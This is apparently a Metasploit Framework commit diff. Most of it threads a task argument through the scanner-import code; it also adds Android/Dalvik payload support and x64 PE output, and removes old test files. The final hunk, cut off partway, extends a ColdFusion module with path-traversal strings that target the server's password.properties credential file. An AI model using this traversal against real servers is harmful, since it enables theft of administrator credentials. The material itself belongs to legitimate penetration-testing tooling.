:time => h["last_boot"]
|
||||
}
|
||||
@@ -4743,6 +4821,7 @@ class DBManager
|
||||
:workspace => wspace,
|
||||
:host => hobj || addr,
|
||||
:type => 'host.nmap.traceroute',
|
||||
:task => args[:task],
|
||||
:data => {
|
||||
'port' => h["trace"]["port"].to_i,
|
||||
'proto' => h["trace"]["proto"].to_s,
|
||||
@@ -4778,6 +4857,7 @@ class DBManager
|
||||
data[:state] = p["state"]
|
||||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data[:task] = args[:task]
|
||||
if p["name"] != "unknown"
|
||||
data[:name] = p["name"]
|
||||
end
|
||||
@@ -4790,6 +4870,7 @@ class DBManager
|
||||
if val =~ /MS08-067: VULNERABLE/
|
||||
vuln_info = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj || addr,
|
||||
:port => 445,
|
||||
:proto => 'tcp',
|
||||
@@ -4808,6 +4889,7 @@ class DBManager
|
||||
if val =~ /MS06-025: VULNERABLE/
|
||||
vuln_info = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj || addr,
|
||||
:port => 445,
|
||||
:proto => 'tcp',
|
||||
@@ -4830,6 +4912,7 @@ class DBManager
|
||||
if val =~ /MS07-029: VULNERABLE/
|
||||
vuln_info = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj || addr,
|
||||
:port => 445,
|
||||
:proto => 'tcp',
|
||||
@@ -4971,7 +5054,7 @@ class DBManager
|
||||
yield(:address,addr) if block
|
||||
end
|
||||
|
||||
hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace)
|
||||
hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace, :task => args[:task])
|
||||
|
||||
# Match the NBE types with the XML severity ratings
|
||||
case type
|
||||
@@ -4989,6 +5072,7 @@ class DBManager
|
||||
os = data.match(/The remote host is running (.*)\\n/)[1]
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj_map[ addr ],
|
||||
:type => 'host.os.nessus_fingerprint',
|
||||
:data => {
|
||||
@@ -5077,7 +5161,8 @@ class DBManager
|
||||
|
||||
hinfo = {
|
||||
:workspace => wspace,
|
||||
:host => addr
|
||||
:host => addr,
|
||||
:task => args[:task]
|
||||
}
|
||||
|
||||
# Record the hostname
|
||||
@@ -5090,6 +5175,7 @@ class DBManager
|
||||
if os
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj,
|
||||
:type => 'host.os.nessus_fingerprint',
|
||||
:data => {
|
||||
@@ -5105,7 +5191,7 @@ class DBManager
|
||||
data = item.elements['data'].text
|
||||
severity = item.elements['severity'].text
|
||||
|
||||
handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data)
|
||||
handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data, args[:task])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5153,6 +5239,7 @@ class DBManager
|
||||
host_info = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:task => args[:task]
|
||||
}
|
||||
host_info[:name] = hname.to_s.strip if hname
|
||||
# Short mac, protect against Nessus's habit of saving multiple macs
|
||||
@@ -5167,6 +5254,7 @@ class DBManager
|
||||
if os
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj,
|
||||
:type => 'host.os.nessus_fingerprint',
|
||||
:data => {
|
||||
@@ -5192,7 +5280,7 @@ class DBManager
|
||||
|
||||
yield(:port,port) if block
|
||||
|
||||
handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf)
|
||||
handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf, args[:task])
|
||||
|
||||
end
|
||||
yield(:end,hname) if block
|
||||
@@ -5461,6 +5549,7 @@ class DBManager
|
||||
host_hash = {
|
||||
:workspace => wspace,
|
||||
:host => addr,
|
||||
:task => args[:task]
|
||||
}
|
||||
host_hash[:name] = hname.to_s.strip if hname
|
||||
host_hash[:mac] = mac.to_s.strip.upcase if mac
|
||||
@@ -5471,6 +5560,7 @@ class DBManager
|
||||
if os
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj,
|
||||
:type => 'host.os.ip360_fingerprint',
|
||||
:data => {
|
||||
@@ -5483,7 +5573,7 @@ class DBManager
|
||||
port = item['port'].to_s
|
||||
proto = item['proto'].to_s
|
||||
|
||||
handle_ip360_v3_svc(wspace, hobj, port, proto, hname)
|
||||
handle_ip360_v3_svc(wspace, hobj, port, proto, hname, args[:task])
|
||||
end
|
||||
|
||||
|
||||
@@ -5497,7 +5587,7 @@ class DBManager
|
||||
|
||||
yield(:port, port) if block
|
||||
|
||||
handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids)
|
||||
handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids, args[:task])
|
||||
|
||||
end
|
||||
|
||||
@@ -5530,7 +5620,7 @@ class DBManager
|
||||
next unless vi.elements["QID"]
|
||||
vi.elements.each("QID") do |qid|
|
||||
next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty?
|
||||
handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil)
|
||||
handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5550,7 +5640,7 @@ class DBManager
|
||||
else
|
||||
name = match[2].strip
|
||||
end
|
||||
handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name)
|
||||
handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5579,13 +5669,14 @@ class DBManager
|
||||
(host.elements["NETBIOS"].text if host.elements["NETBIOS"]) ||
|
||||
(host.elements["DNS"].text if host.elements["DNS"]) ||
|
||||
"" )
|
||||
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive)
|
||||
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])
|
||||
report_import_note(wspace,hobj)
|
||||
|
||||
if host.elements["OPERATING_SYSTEM"]
|
||||
hos = host.elements["OPERATING_SYSTEM"].text
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj,
|
||||
:type => 'host.os.qualys_fingerprint',
|
||||
:data => { :os => hos }
|
||||
@@ -5634,13 +5725,14 @@ class DBManager
|
||||
end
|
||||
hname = host.attributes['name'] || ''
|
||||
|
||||
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive)
|
||||
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])
|
||||
report_import_note(wspace,hobj)
|
||||
|
||||
if host.elements["OS"]
|
||||
hos = host.elements["OS"].text
|
||||
report_note(
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => hobj,
|
||||
:type => 'host.os.qualys_fingerprint',
|
||||
:data => {
|
||||
@@ -5658,7 +5750,7 @@ class DBManager
|
||||
else
|
||||
name = match[2].strip
|
||||
end
|
||||
handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name)
|
||||
handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name, nil, args[:task])
|
||||
end
|
||||
end
|
||||
# Open UDP Services List (Qualys ID 82004)
|
||||
@@ -5670,7 +5762,7 @@ class DBManager
|
||||
else
|
||||
name = match[2].strip
|
||||
end
|
||||
handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name)
|
||||
handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name, nil, args[:task])
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5693,7 +5785,7 @@ class DBManager
|
||||
refs.push('BID-' + ref.elements['ID'].text.to_s)
|
||||
end
|
||||
|
||||
handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title)
|
||||
handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title, args[:task])
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5722,7 +5814,7 @@ class DBManager
|
||||
else
|
||||
yield(:address,ip) if block
|
||||
end
|
||||
host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive)
|
||||
host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive, :task => args[:task])
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5757,11 +5849,12 @@ class DBManager
|
||||
port = $2.to_i
|
||||
proto = $3.downcase
|
||||
name = $4
|
||||
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive)
|
||||
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task])
|
||||
next if not host
|
||||
yield(:address,addr) if block
|
||||
info = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => host,
|
||||
:proto => proto,
|
||||
:port => port
|
||||
@@ -5791,11 +5884,12 @@ class DBManager
|
||||
name = r[5]
|
||||
next if status != "open"
|
||||
|
||||
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive)
|
||||
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task])
|
||||
next if not host
|
||||
yield(:address,addr) if block
|
||||
info = {
|
||||
:workspace => wspace,
|
||||
:task => args[:task],
|
||||
:host => host,
|
||||
:proto => proto,
|
||||
:port => port
|
||||
@@ -5916,7 +6010,7 @@ protected
|
||||
# This holds all of the shared parsing/handling used by the
|
||||
# Nessus NBE and NESSUS v1 methods
|
||||
#
|
||||
def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data)
|
||||
def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil)
|
||||
addr = hobj.address
|
||||
# The port section looks like:
|
||||
# http (80/tcp)
|
||||
@@ -5929,7 +6023,7 @@ protected
|
||||
port = p[2].to_i
|
||||
proto = p[3].downcase
|
||||
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
|
||||
if name != "unknown" and name[-1,1] != "?"
|
||||
info[:name] = name
|
||||
end
|
||||
@@ -5978,7 +6072,8 @@ protected
|
||||
:proto => proto,
|
||||
:name => vuln_name,
|
||||
:info => data,
|
||||
:refs => refs
|
||||
:refs => refs,
|
||||
:task => task,
|
||||
}
|
||||
report_vuln(vuln_info)
|
||||
end
|
||||
@@ -5987,10 +6082,10 @@ protected
|
||||
# NESSUS v2 file format has a dramatically different layout
|
||||
# for ReportItem data
|
||||
#
|
||||
def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf)
|
||||
def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf,task=nil)
|
||||
addr = hobj.address
|
||||
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
|
||||
|
||||
unless name =~ /^unknown$|\?$/
|
||||
info[:name] = name
|
||||
@@ -6037,7 +6132,8 @@ protected
|
||||
:host => hobj,
|
||||
:name => vuln_name,
|
||||
:info => description ? description : "",
|
||||
:refs => refs
|
||||
:refs => refs,
|
||||
:task => task,
|
||||
}
|
||||
|
||||
if port.to_i != 0
|
||||
@@ -6051,11 +6147,11 @@ protected
|
||||
#
|
||||
# IP360 v3 vuln
|
||||
#
|
||||
def handle_ip360_v3_svc(wspace,hobj,port,proto,hname)
|
||||
def handle_ip360_v3_svc(wspace,hobj,port,proto,hname,task=nil)
|
||||
addr = hobj.address
|
||||
report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive)
|
||||
report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive, :task => task)
|
||||
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
|
||||
if hname != "unknown" and hname[-1,1] != "?"
|
||||
info[:name] = hname
|
||||
end
|
||||
@@ -6068,8 +6164,8 @@ protected
|
||||
#
|
||||
# IP360 v3 vuln
|
||||
#
|
||||
def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids)
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
|
||||
def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids,task=nil)
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
|
||||
if hname != "unknown" and hname[-1,1] != "?"
|
||||
info[:name] = hname
|
||||
end
|
||||
@@ -6094,7 +6190,8 @@ protected
|
||||
:host => hobj,
|
||||
:name => vulnname,
|
||||
:info => description ? description : "",
|
||||
:refs => refs
|
||||
:refs => refs,
|
||||
:task => task
|
||||
}
|
||||
|
||||
if port.to_i != 0
|
||||
@@ -6108,11 +6205,11 @@ protected
|
||||
#
|
||||
# Qualys report parsing/handling
|
||||
#
|
||||
def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil)
|
||||
def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil, task=nil)
|
||||
addr = hobj.address
|
||||
port = port.to_i if port
|
||||
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol }
|
||||
info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol, :task => task }
|
||||
if name and name != 'unknown' and name != 'No registered hostname'
|
||||
info[:name] = name
|
||||
end
|
||||
@@ -6138,6 +6235,7 @@ protected
|
||||
if addr
|
||||
report_vuln(
|
||||
:workspace => wspace,
|
||||
:task => task,
|
||||
:host => hobj,
|
||||
:port => port,
|
||||
:proto => protocol,
|
||||
|
||||
@@ -666,11 +666,11 @@ class DBManager
|
||||
formatted_values = value_set.collect { |value|
|
||||
prefix = keyword.upcase
|
||||
|
||||
"#{prefix}-#{value}"
|
||||
"#{prefix}-%#{value}%"
|
||||
}
|
||||
|
||||
query = query.includes(:refs)
|
||||
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
|
||||
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -331,6 +331,14 @@ class Msf::Module::Platform
|
||||
Alias = "netware"
|
||||
end
|
||||
|
||||
#
|
||||
# Android
|
||||
#
|
||||
class Android < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "android"
|
||||
end
|
||||
|
||||
#
|
||||
# Java
|
||||
#
|
||||
|
||||
@@ -28,6 +28,7 @@ class Payload < Msf::Module
|
||||
require 'msf/core/payload/windows'
|
||||
require 'msf/core/payload/netware'
|
||||
require 'msf/core/payload/java'
|
||||
require 'msf/core/payload/dalvik'
|
||||
|
||||
##
|
||||
#
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::Dalvik
|
||||
|
||||
#
|
||||
# Fix the dex header checksum and signature
|
||||
# http://source.android.com/tech/dalvik/dex-format.html
|
||||
#
|
||||
def fix_dex_header(dexfile)
|
||||
dexfile = dexfile.unpack('a8LH40a*')
|
||||
dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
|
||||
dexfile[1] = Zlib.adler32(dexfile[2..-1].pack('H40a*'))
|
||||
dexfile.pack('a8LH40a*')
|
||||
end
|
||||
|
||||
#
|
||||
# We could compile the .class files with dx here
|
||||
#
|
||||
def generate_stage
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to construct the payload jar file as a String
|
||||
#
|
||||
def generate
|
||||
generate_jar.pack
|
||||
end
|
||||
|
||||
def java_string(str)
|
||||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
+8
-3
@@ -364,10 +364,11 @@ require 'digest/sha1'
|
||||
exe
|
||||
end
|
||||
|
||||
def self.to_win32pe_only(framework, code, opts={})
|
||||
def self.to_winpe_only(framework, code, opts={}, arch="x86")
|
||||
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x86_windows_old.exe")
|
||||
|
||||
set_template_default(opts, "template_"+arch+"_windows.exe")
|
||||
|
||||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||
|
||||
@@ -1968,7 +1969,11 @@ End Sub
|
||||
|
||||
when 'exe-only'
|
||||
if(not arch or (arch.index(ARCH_X86)))
|
||||
output = Msf::Util::EXE.to_win32pe_only(framework, code, exeopts)
|
||||
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts)
|
||||
end
|
||||
|
||||
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
|
||||
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64")
|
||||
end
|
||||
|
||||
when 'elf'
|
||||
|
||||
@@ -1,70 +0,0 @@
|
||||
#!/usr/bin/env ruby -I..
|
||||
|
||||
=begin
|
||||
|
||||
The Metasploit Rex library is provided under the 3-clause BSD license.
|
||||
|
||||
Copyright (c) 2005-2006, Rapid7 LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors may be
|
||||
used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
=end
|
||||
|
||||
require 'test/unit'
|
||||
|
||||
require 'rex/exceptions.rb.ut'
|
||||
require 'rex/transformer.rb.ut'
|
||||
require 'rex/text.rb.ut'
|
||||
require 'rex/file.rb.ut'
|
||||
|
||||
require 'rex/encoder/xdr.rb.ut'
|
||||
|
||||
require 'rex/encoding/xor/generic.rb.ut'
|
||||
require 'rex/encoding/xor/byte.rb.ut'
|
||||
require 'rex/encoding/xor/word.rb.ut'
|
||||
require 'rex/encoding/xor/dword.rb.ut'
|
||||
require 'rex/encoding/xor/dword_additive.rb.ut'
|
||||
|
||||
require 'rex/socket.rb.ut'
|
||||
require 'rex/socket/tcp.rb.ut'
|
||||
require 'rex/socket/ssl_tcp.rb.ut'
|
||||
require 'rex/socket/tcp_server.rb.ut'
|
||||
require 'rex/socket/udp.rb.ut'
|
||||
require 'rex/socket/parameters.rb.ut'
|
||||
require 'rex/socket/comm/local.rb.ut'
|
||||
require 'rex/socket/switch_board.rb.ut'
|
||||
require 'rex/socket/subnet_walker.rb.ut'
|
||||
|
||||
require 'rex/proto.rb.ts'
|
||||
|
||||
require 'rex/parser/arguments.rb.ut'
|
||||
|
||||
require 'rex/ui/text/color.rb.ut'
|
||||
require 'rex/ui/text/table.rb.ut'
|
||||
|
||||
require 'rex/exploitation/egghunter.rb.ut'
|
||||
require 'rex/exploitation/seh.rb.ut'
|
||||
@@ -83,6 +83,7 @@ ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_X86,
|
||||
@@ -101,7 +102,8 @@ ARCH_TYPES =
|
||||
ARCH_PHP,
|
||||
ARCH_TTY,
|
||||
ARCH_JAVA,
|
||||
ARCH_RUBY
|
||||
ARCH_RUBY,
|
||||
ARCH_DALVIK
|
||||
]
|
||||
|
||||
ARCH_ALL = ARCH_TYPES
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
|
||||
|
||||
#
|
||||
# Xor Encoding Test Suite
|
||||
#
|
||||
|
||||
require 'test/unit'
|
||||
require 'rex/encoding/xor/generic.rb.ut'
|
||||
require 'rex/encoding/xor/byte.rb.ut'
|
||||
require 'rex/encoding/xor/word.rb.ut'
|
||||
require 'rex/encoding/xor/dword.rb.ut'
|
||||
require 'rex/encoding/xor/dword_additive.rb.ut'
|
||||
@@ -147,8 +147,10 @@ module Parser
|
||||
just_the_facts = nonempty_data
|
||||
else
|
||||
just_the_facts = nonempty_data.select {|k,v| valid_attrs.include? k.to_s.to_sym}
|
||||
end
|
||||
just_the_facts.empty? ? return : db.send("report_#{table}", just_the_facts)
|
||||
end
|
||||
return nil if just_the_facts.empty?
|
||||
just_the_facts[:task] = @args[:task]
|
||||
db.send("report_#{table}", just_the_facts)
|
||||
end
|
||||
|
||||
# XXX: It would be better to either have a single registry of acceptable
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
$:.unshift(File.join(File.dirname(__FILE__)))
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', 'lib'))
|
||||
|
||||
require 'test/unit'
|
||||
require 'rex'
|
||||
|
||||
require 'railgun/api_constants.rb.ut'
|
||||
require 'railgun/type/pointer_util.rb.ut'
|
||||
require 'railgun/platform_util.rb.ut'
|
||||
require 'railgun/buffer_item.rb.ut'
|
||||
require 'railgun/dll_function.rb.ut'
|
||||
require 'railgun/dll_helper.rb.ut'
|
||||
require 'railgun/win_const_manager.rb.ut'
|
||||
require 'railgun/dll.rb.ut.rb'
|
||||
require 'railgun/dll_wrapper.rb.ut.rb'
|
||||
require 'railgun/railgun.rb.ut.rb'
|
||||
require 'railgun/win_const_manager.rb.ut.rb'
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..'))
|
||||
|
||||
require 'test/unit'
|
||||
require 'rex/proto/smb.rb.ts'
|
||||
require 'rex/proto/dcerpc.rb.ts'
|
||||
require 'rex/proto/http.rb.ts'
|
||||
@@ -1,10 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/test'
|
||||
require 'rex/proto/dcerpc/uuid.rb.ut'
|
||||
require 'rex/proto/dcerpc/response.rb.ut'
|
||||
require 'rex/proto/dcerpc/packet.rb.ut'
|
||||
# require 'rex/proto/dcerpc/ndr.rb.ut'
|
||||
require 'rex/proto/dcerpc/handle.rb.ut'
|
||||
require 'rex/proto/dcerpc/client.rb.ut'
|
||||
@@ -1,18 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/test'
|
||||
|
||||
module Rex
|
||||
class Test
|
||||
$_REX_TEST_DRDA_HOST = "192.168.145.138"
|
||||
$_REX_TEST_DRDA_USER = "db2inst1"
|
||||
$_REX_TEST_DRDA_PASS = "db2pw"
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/proto/drda/constants.rb.ut.rb'
|
||||
require 'rex/proto/drda/packet.rb.ut.rb'
|
||||
require 'rex/proto/drda/utils.rb.ut.rb'
|
||||
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'test/unit'
|
||||
|
||||
require 'rex/proto/http/client.rb.ut'
|
||||
require 'rex/proto/http/server.rb.ut'
|
||||
require 'rex/proto/http/packet.rb.ut'
|
||||
require 'rex/proto/http/header.rb.ut'
|
||||
require 'rex/proto/http/request.rb.ut'
|
||||
require 'rex/proto/http/response.rb.ut'
|
||||
require 'rex/proto/http/handler/erb.rb.ut'
|
||||
require 'rex/proto/http/handler/proc.rb.ut'
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/test'
|
||||
require 'rex/proto/smb/client.rb.ut.rb'
|
||||
require 'rex/proto/smb/constants.rb.ut.rb'
|
||||
require 'rex/proto/smb/crypt.rb.ut.rb'
|
||||
require 'rex/proto/smb/simpleclient.rb.ut.rb'
|
||||
require 'rex/proto/smb/utils.rb.ut.rb'
|
||||
@@ -382,7 +382,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
save_loot="yes"
|
||||
column_data.each { |row|
|
||||
0.upto(7) { |col|
|
||||
row[col] = row[col].strip.to_
|
||||
row[col] = row[col].strip.to_s
|
||||
}
|
||||
}
|
||||
print_line(" ")
|
||||
|
||||
@@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Author' =>
|
||||
[
|
||||
'HTP',
|
||||
'sinn3r'
|
||||
'sinn3r',
|
||||
'nebulus'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
@@ -43,7 +44,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8500),
|
||||
Opt::RPORT(80),
|
||||
OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
|
||||
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
|
||||
], self.class)
|
||||
end
|
||||
@@ -52,15 +54,140 @@ class Metasploit3 < Msf::Auxiliary
|
||||
"#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||
end
|
||||
|
||||
def fingerprint(response)
|
||||
|
||||
if(response.headers.has_key?('Server') )
|
||||
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
|
||||
os = "Windows (#{response.headers['Server']})"
|
||||
elsif(response.headers['Server'] =~ /Apache\//)
|
||||
os = "Unix (#{response.headers['Server']})"
|
||||
else
|
||||
os = response.headers['Server']
|
||||
end
|
||||
end
|
||||
|
||||
return nil if response.body.length < 100
|
||||
|
||||
title = "Not Found"
|
||||
response.body.gsub!(/[\r\n]/, '')
|
||||
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
|
||||
title = $1
|
||||
title.gsub!(/\s/, '')
|
||||
end
|
||||
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
|
||||
|
||||
out = nil
|
||||
|
||||
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
|
||||
v = $1
|
||||
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
|
||||
out = "Adobe ColdFusion MX7 (Not Vulnerable)"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
|
||||
out = "Adobe ColdFusion 8 (Not Vulnerable)"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
|
||||
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
|
||||
out = "Adobe ColdFusion 10"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
|
||||
out = "Adobe ColdFusion 9"
|
||||
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
|
||||
out = $1.split(/,/)[0]
|
||||
else
|
||||
out = 'Unknown ColdFusion'
|
||||
end
|
||||
|
||||
if(title.downcase == 'coldfusionadministrator')
|
||||
out << " (you have administrator access)"
|
||||
end
|
||||
|
||||
out << " (#{os})"
|
||||
file = ''
|
||||
trav = ''
|
||||
if(os =~ /Windows/ )
|
||||
trav = '..\..\..\..\..\..\..\..\..\..'
|
||||
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
|
||||
else
|
||||
trav = '../../../../../../../../../..'
|
||||
